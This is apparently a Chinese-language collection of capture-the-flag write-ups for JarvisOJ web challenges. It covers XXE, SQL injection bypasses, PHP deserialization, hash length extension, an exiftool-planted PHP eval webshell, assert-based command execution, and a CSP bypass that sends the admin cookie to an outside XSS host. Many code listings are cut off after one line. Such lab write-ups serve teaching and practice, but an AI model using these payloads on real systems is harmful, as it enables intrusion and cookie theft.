复现的笔记-jarvisoj-web-writeup
PORT51-http://web.jarvisoj.com:32770/
curl –local-port 51 http://web.jarvisoj.com:32770/
api调用-http://web.jarvisoj.com:9882/
flag:/home/ctf/flag.txt
xxe
打开发现
Content-Type: application/json
环境是python
需要读取flag吧 猜测是不是xxe 然后搜到了
http://bobao.360.cn/learning/detail/360.html
Content-Type头被修改为application/xml,客户端会告诉服务器post过去的数据是XML格式的.
加一个Content-Type: application/xml
payload
1 | POST /api/v1.0/try HTTP/1.1 |
localhost-http://web.jarvisoj.com:32774/
提示要本地访问
1 | 加上 |
login-http://web.jarvisoj.com:32772/
在header里面发现
1 | Hint: "select * from `admin` where password='".md5($pass,true)."'" |
http://www.am0s.com/functions/204.html
http://mslc.ctf.su/wp/leet-more-2010-oh-those-admins-writeup/
1 | md5(<i>string</i>,<i>raw</i>) |
可以得到一个字符串:ffifdyop
神盾局的秘密-http://web.jarvisoj.com:32768/
base64 可以读到源码
index.php
1 | <?php |
shield.php
1 | <?php |
可以发现在index中$x = unserialize($g);
说明这是一个反序列读pctf.php文件的题
于是构造payload
1 | <?php |
IN A Mess-http://web.jarvisoj.com:32780/
index.phps
1 | <?php |
随便输入一个不是数字绕过id;data伪协议绕过stripos;00截断eregi。
然后返回一个路径Come ON!!! {/^HT2mCpcvOLf}
1 | POST /index.php?id=a&a=php://input&b=%00233333 HTTP/1.1 |
得到一个注入
测试发现过滤了空格 用/*aaa*/
绕过
然后发现要吃掉语句使用双写语句绕过
最终payload
1 | http://web.jarvisoj.com:32780/%5eHT2mCpcvOLf/index.php?id=1/*aaaa*/and/*111*/1=2/*aaa*/uniunionon/*bbbb*/selselectect/*aaabb*/1,2,context/*vvvv*/frfromom/*aaabbbb*/content |
flag在管理员手里-http://web.jarvisoj.com:32778/
什么是hash算法及hash扩展攻击
http://www.freebuf.com/articles/web/69264.html
http://www.freebuf.com/articles/web/31756.html
文件泄露http://web.jarvisoj.com:32778/index.php~
php
1 | <?php |
用的是用户传过来的hsh和role,满足role=admin很容易,直接抓包修改就行,但是满足hsh=MD5(salt+role)就比较难了,因为我们不知道salt的值,如果改了hsh和role,那怎么满足等式成立呢,所以这看似很安全,服务器放心的把认证信息都存在用户的浏览器的cookie里,而服务只需保留salt的值就可以验证用户的身份了。理想很丰满,现实就是存在hash长度扩展攻击。
开头两篇文章里总结的很清楚,我就总结一下:我们先补充第一次的salt+身份信息的长度,使之符合MD5算法的要求,这一步服务器也是这么做的,只不过服务器将补足后的信息拿去运算,然后得到hash(记为hash1),返回给我们。但我们在补足长度之后再拼接上其他信息,比如admin,看看会发生什么。服务器会先进行之前一样的运算得到hash1,用这个hash1再作为register,拿去加密后一个块admin(这句话如果不明白再看看hash的原理),最终完成MD5(salt+role)得到一个值hash2与hsh比较。重点来了,现在MD5(salt+role)我们也可以完成,得到那个hash2了。可是我们不是不知道那个salt吗?是的,这次服务器的MD5过程是从头开始运算,到倒数第二步是用hash1去运算admin块,最后得到hash2.
可我们知道hash1(第一次服务器正常的身份信息),和admin(我们自己加上的嘛),那么我们做一次hash1和admin的MD5运算不就得到hash2了嘛。把hash2赋值给hsh,传入就满足了hsh=MD5(salt+role)
这个计算过程可以借助lunix下的hashpump,为这个漏洞量身定制的,不过要在kali中还是要安装的,P神的教程:https://www.cnblogs.com/pcat/p/5478509.html
防护方法也很简单,将用户能改的信息(这里是role)拼接在salt前即可,毕竟MD5中是从前向后分块的
访问网页,得到cookie中的role和hsh这里的hsh是$slat+;”tseug”:5:s经过md5加密后的值;
设置cookie中role的值,满足以下两个条件:
$role===”admin” && $hsh === md5($salt.strrev($_COOKIE[“role”]))
1
第一个条件$role===”admin”只需要使$role参数的前5个字符是”admin”,第六个字符是’\0’即可。
第二个条件$hsh === md5($salt.strrev($_COOKIE[“role”])),注意和$salt连接的字符串是经过strrev函数处理的role参数,只需要构造role参数的后半部分,通过hash长度扩展攻击,经过运算得到新的hsh即可。$salt的长度暂时不知道,暂时输入一个数字10,得到新的hash值fcdc3840332555511c4e4323f6decb07以及一个接近payload的字符串;”tseug”:5:s\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb0\x00\x00\x00\x00\x00\x00\x00;”nimda”:5:s。\xb0说明$salt+;”tseug”:5:s一共176bit,也就是22字节,$salt长假设是10字节。
;”tseug”:5:s\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x00;”nimda”:5:s
将上述字符串中的\x替换成%,;替换成%3b,倒序排列,得到:
s:5:”admin”%3b%00%00%00%00%00%00%00%c0%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80s:5:”guest”%3b
使用burpsuite爆破salt的长度,得到flag
1 | #!/usr/bin/python |
phpinfo-http://web.jarvisoj.com:32784/
打开入口出现如下代码
1 | <?php |
关键点是这Session序列化及反序列化处理器链接
1 | ini_set('session.serialize_handler', 'php'); |
PHP 内置了多种处理器用于存取 $_SESSION 数据时会对数据进行序列化和反序列化,常用的有以下三种,对应三种不同的处理格式:
配置选项 session.serialize_handler
PHP 提供了 session.serialize_handler 配置选项,通过该选项可以设置序列化及反序列化时使用的处理器:
session.serialize_handler “php” PHP_INI_ALL
安全隐患
通过上面对存储格式的分析,如果 PHP 在反序列化存储的 $_SESSION 数据时的使用的处理器和序列化时使用的处理器不同,会导致数据无法正确反序列化,通过特殊的构造,甚至可以伪造任意数据:)
然后就是需要找个地方控制session
于是扫了半天有个phpinfo 发现禁用了很多函数
于是在官网找到了
http://php.net/manual/zh/session.upload-progress.php
功能是把文件的上传进度记录到session里面。用官网的改改就行
1 | <form action="upload.php" method="POST" enctype="multipart/form-data"> |
然后是构造payload 测试发现禁用了很多函数 也没写成功文件 用scandir 和file_get_contents得到了flag
1 | <?php |
图片上传漏洞-http://web.jarvisoj.com:32790/
打开入口发现是个上传图片的 发现只能上传图片
然后扫到个test.php
发现有ImageMagick还是存在漏洞的
于是找了一下
http://www.2cto.com/article/201605/505823.html
发现exif信息也能触发漏洞
ccf 中的web题
hint1:hidden parameter’image’
先用exiftool生成一个一句话后门 路径由phpinfo得到
1 | exiftool -label="\"|/bin/echo \<?php \@eval\(\\$\_POST\[x\]\)\;?\> > /opt/lampp/htdocs/uploads/x.php; \"" 20161113150830.png |
注意这里是需要转义两次的 意思是要在图片里面带有一个\ 这样在服务器上echo写入的时候才会保留
先上传一次带有后门的图片得到图片路径 然后拼接在发包一次修改filetype的参数为show或者win
上传后菜刀连即可
WEB?-http://web.jarvisoj.com:9891/
有一个check功能,输入错误的密码会提示“Wrong Password!!”,查看源代码,有个app.js。将该js文件格式化后在里面查找字符串“Wrong Password!!”,如下:
1 | $.post("checkpass.json", t, |
可以看到有个checkpass(e)函数,定位到该函数处。
1 | r.checkpass = function() { |
定位到 checkpassREACTHOTLOADER 处:
发现是一个线性方程组。
python
1 | import numpy as np |
[61dctf]admin-http://web.jarvisoj.com:32792/
扫到robots.txt发现Disallow: /admin_s3cr3t.php
。
访问并用burp抓包,在cookie字段加上admin=1
,得到flag:
1 | flag{hello_admin~} |
[61dctf]babyphp-http://web.jarvisoj.com:32798/
通过git泄露出来的index.php源码如下:
1 | <?php |
其中assert
是个危险函数,其原型为
1 | bool assert ( mixed $assertion [, string $description ] ) |
如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。
payload1:
1 | http://web.jarvisoj.com:32798/?page=flag'.system("ls templates/;").' |
payload2
1 | http://web.jarvisoj.com:32798/?page=flag'.system("cat templates/flag.php;").' |
[61dctf]babyxss-http://web.jarvisoj.com:32800/
验证码爆破
1 | import random |
绕过csp
现在绕过csp的方法很简单,也很固定利用chrome的prefetch属性进行预加载绕过。
观察发现此题是严格csp限制
1 | default-src 'self'; script-src 'self' ; |
只能加载同源脚本,一般XSS是支持内联脚本的。
那么现在又有个问题,我们怎么能加载同源可控脚本呢?
只能加载同源脚本,一般XSS是支持内联脚本的。
那么现在又有个问题,我们怎么能加载同源可控脚本呢?
上传同源可控脚本
这里我首先发送标签
1 | <link rel="prefetch" href="http://xxxx/XSS/?c=[cookie]"> |
XSS平台上收到了一个带有referer字段的http包
里面有admin网址,以及发送的留言信息。
XSS平台上收到了一个带有referer字段的http包
里面有admin网址,以及发送的留言信息。
1 | var n0t = document.createElement("link"); |
利用组合姿势XSS
有了同源可控脚本我们再次上传一个
1 | <script src="http://xsshs.cn/OMhH"></script> |
就可以把我们的脚本当做js脚本引用执行
还有个坑js脚本里面有标签的时候,会解析报错。
这里把他注释掉,就可以了。
[61dctf]register-http://web.jarvisoj.com:32796/
1 | #encoding='utf-8' |
获取密码后登陆 admin 账号,在 manage 页面找到flag
flag{URst0rong}
[61dctf]inject-http://web.jarvisoj.com:32794/
1 | index.php~ |
desc反引号注入,闭合反引号即可
1 | GET /?table=test`%20`union%20select%20database()%20limit%201,1 HTTP/1.1 |
Simple Injection-http://web.jarvisoj.com:32787/
盲注,正确返回密码错误,否则返回用户名错误
脚本如下
1 | # coding=utf-8 |
334cfb59c9d74849801d5acdcfdaadc3
eTAloCrEP
CTF{s1mpl3_1nJ3ction_very_easy!!}
Easy Gallery-http://web.jarvisoj.com:32785/
index包含两个页面,对应两个功能
1 | http://web.jarvisoj.com:32785/index.php?page=submit |
通过id查询到上传到图片
1 | http://web.jarvisoj.com:32785/index.php?page=view |
上传成功后会返回图片ID,检查图片内容和后缀名,似乎不可绕过后缀名,只能上传jpg和gif后缀,但是能上传图片马,在图片后面包含一句
1 | <script language="php">@eval($_POST['cmd'])</script> |
图片ID:1571993004
上传成功后可通过show.php访问,访问返回数据为
1 | <img src="uploads/1571993483.jpg"/> |
思路断,然后发现在index的page参数似乎是可以进行目录截断读取,通过访问
1 | http://web.jarvisoj.com:32785/index.php?page=uploads/1571993483.jpg%00 |
即可
Chopper-http://web.jarvisoj.com:32782/
1 | http://web.jarvisoj.com:32782/proxy.php?url=http://dn.jarvisoj.com/static/images/proxy.jpg |
1 | <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> |
构造
1 | http://web.jarvisoj.com:32782/proxy.php?url=http://202.5.19.128/proxy.php?url=http://web.jarvisoj.com:32782/admin |
扫目录
1 | http://web.jarvisoj.com:32782/proxy.php?url=http://202.5.19.128/proxy.php?url=http://web.jarvisoj.com:32782/admin/robots.txt |
chdir() 改变当前的目录。
chroot() 改变根目录。
closedir() 关闭目录句柄。
dir() 返回 Directory 类的实例。
getcwd() 返回当前工作目录。
opendir() 打开目录句柄。
readdir() 返回目录句柄中的条目。
rewinddir() 重置目录句柄。
scandir() 返回指定目录中的文件和目录的数组。
RE?
下载下来是mysql插件,so文件
1 | mysql> select @@plugin_dir; |
复制到目录底下后进行加载函数
1 | mysql> use test; |